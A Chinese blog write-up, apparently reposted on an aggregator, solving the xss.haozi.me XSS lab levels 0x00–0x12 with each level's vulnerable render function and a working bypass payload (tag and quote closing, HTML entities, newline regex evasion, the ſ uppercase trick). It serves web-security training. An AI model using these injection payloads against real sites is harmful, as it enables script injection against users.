草庐IT

Web安全基础 - XSS Labs

Sanyic's Blog 2023-03-28 原文

Web安全基础 - XSS Labs

实验来自于https://xss.haozi.me
XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS攻击实际上就是攻击者使得浏览器执行本不该存在的前端代码。

0x00 基础

服务端代码如下:

function render (input) {
  return '<div>' + input + '</div>'
}

当输入为<scirpt>alert(1);</scirpt>,因为输入要回显到前端,这时候浏览器将输入识别为了HTML代码,执行alert(1);

0x01-0x02 主动闭合

0x01 主动闭合-标签

服务端代码如下:

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

textarea会将输入作为多行文本显示出来,我们想继续让输入作为代码执行,就要主动闭合来绕过该标签,
那么输入就是</textarea><script>alert(1);</script><textarea>

可以看到页面前端多了两个空的文本框,它们是由我们的输入主动闭合造成的。出现引号等将输入识别为文本的限制,也可以使用这种方法绕过。如下题。

0x02 主动闭合-引号

该题目的服务端代码:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

当我们输入"><script>alert(1);</script><"时候引号闭合,html为

<input type="name" value=""><script>alert(1);</script><"">

name的值为空,输入作为了脚本执行。

0x03-0x05 常见过滤

0x03 ()过滤

服务端代码将()过滤,但我们执行函数时需要带上()。

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

通过键盘左上角的``可以绕过()的过滤,输入

<script>alert`1`;</script>

成功绕过

0x04 ()&`过滤

服务端同时过滤了()和`

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这里要用到HTML实体字符来绕过,&#40;, &#41;分别代表左右括号

这里直接输入<script>alert&#40;1&#41;</script>不行,因为script标签内部会识别成js代码而非html语言。
这里使用<img src="asdasd" onerror="alert&#40;1&#41;;">
img的src任意填写,保证其失败后调用onerror属性内的代码。

0x05 -->过滤

服务端代码过滤掉了-->

function render (input) {
  input = input.replace(/-->/g, '?')
  return '<!-- ' + input + ' -->'
}

使用--!>绕过即可
输入--!><script>alert(1);</script>

0x06-0x07 正则绕过

0x06 正则绕过-换行1

服务端过滤了正则:auto|on.*=|>

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这里在input标签内构造标签属性image,然后模仿上题构造onerror的语句,注意onerror后面要另加换行,不然会被正则过滤

type="image" src="sdsa" onerror
="alert(1);"

0x07 正则绕过-标签不闭合

服务器过滤正则/<\/?[^>]+>/gi

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

这个正则匹配以<或者</开头,至少有一个非>字符作为内容,以>结尾的字符串
输入<img src="sad" onerror="alert(1);"不闭合就可以绕过

0x08 正则绕过-换行2

服务器过滤了标签导致无法闭合

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

输入

</style
>
<script>alert(1);</script>

绕过

0x09 正则绕过-test检测

test只会检测是否存在要求的正则匹配

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

我们只要首先输入对应的URL再闭合,重新开始构造就好,这里不能使用script,因为后面还有一个引号

https://www.segmentfault.com"></script><img src="123" onerror="alert(1);

0x0A 引入漏洞页面

这里综合了replace和test,先进行URL的检测,再进行字符的替换

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

仔细看代码发现是将原字符替换为对应的HTML字符实体,但是输入最后在script里面识别为js代码。
这里利用的是src属性会将@后的网址解析出来,将前面的内容作为用户名作为登录后面网页的用户名

(alert(1)的js官方提供地址:https://xss.haozi.me/j.js)

放个别人的payloadhttps://www.segmentfault.com@xss.haozi.me/j.js,但是我在Chrome和edge上都没有成功。

0x0B-0x0C toUpperCase

0x0B toUpperCase

这关会将所有的输入转换为大写字符,我们根据之前的思路,利用HTML实体字符来绕过。

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

标签是大小写不敏感的,但是我们要执行的js代码大小写敏感,对代码进行实体字符编码

alert(1); "&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;;"

0x0C 标签过滤+toUpperCase

在toUpperCase前加了一次script的过滤,用上一题的payload依然可以解

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

0x0D 注释逃逸

首先对input进行一些过滤所以//这里就不能用了,使用-->来过滤,然后是通过换行来绕过注释

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

我们的输入就应该是%0Aalert(1)%3B%0A--%3E


alert(1);
-->

0x0E ſ绕过

这里的语法是在<和紧邻的第一个字母前面加上_

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

做出来的人payload是这样的<ſcript src="https://xss.haozi.me/j.js"></script>

  1. ſ 是古英语中的s的写法, 转成大写是正常的S
  2. 利用src引入漏洞文件来绕过大写JS代码无法执行

0x0F-0x12 主动闭合2

0x0F 主动闭合-调用

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

<script src="${escapeHtml(input)}"></script>这是0x0A的HTML实体字符替换,成功阻止了我们进行截断。
虽然该题也进行了实体字符替换,但是对于内联为字符串的js代码,浏览器会先进行HTML解析,再将其视作js,因此我们这里可以直接截断绕过。
Payload:');alert('1

0x10 主动闭合-语句

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

和上一题类似,闭合再写入alert语句就好
Payload: 1;alert(1)

0x11 主动闭合-综合

应该是这些题目里最长的代码,不过意思也很简明。
这里的escapeJs的作用是将一些特殊字符转义为普通字符。script是给页面添加一个url并点击,也就是触发我们的输入。
看明白了其实还是用到闭合的思路。

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

Payload: ");alert(1);("

0x12 主动闭合-综合2

“替换成\“,可以双写一个\来转义掉第一个\绕过
console.log("")有语法错误,要再加一个\来转义

function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

Payload:\");alert(1);//

有关Web安全基础 - XSS Labs的更多相关文章

  1. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

  2. ruby - 如何安全地删除文件? - 2

    在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?

  3. postman接口测试工具-基础使用教程 - 2

    1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,

  4. 软件测试基础 - 2

    Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功

  5. ES基础入门 - 2

    ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear

  6. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  7. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作? - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  8. ruby-on-rails - 安全地显示使用回形针 gem 上传的图像 - 2

    默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同

  9. ruby - 使写入文件线程安全 - 2

    我在一个ruby​​文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}

  10. 【网络】-- 网络基础 - 2

    (本文是网络的宏观的概念铺垫)目录计算机网络背景网络发展认识"协议"网络协议初识协议分层OSI七层模型TCP/IP五层(或四层)模型报头以太网碰撞路由器IP地址和MAC地址IP地址与MAC地址总结IP地址MAC地址计算机网络背景网络发展        是最开始先有的计算机,计算机后来因为多项技术的水平升高,逐渐的计算机变的小型化、高效化。后来因为计算机其本身的计算能力比较的快速:独立模式:计算机之间相互独立。    如:有三个人,每个人做的不同的事物,但是是需要协作的完成。    而这三个人所做的事是需要进行协作的,然而刚开始因为每一台计算机之间都是互相独立的。所以前面的人处理完了就需要将数据

随机推荐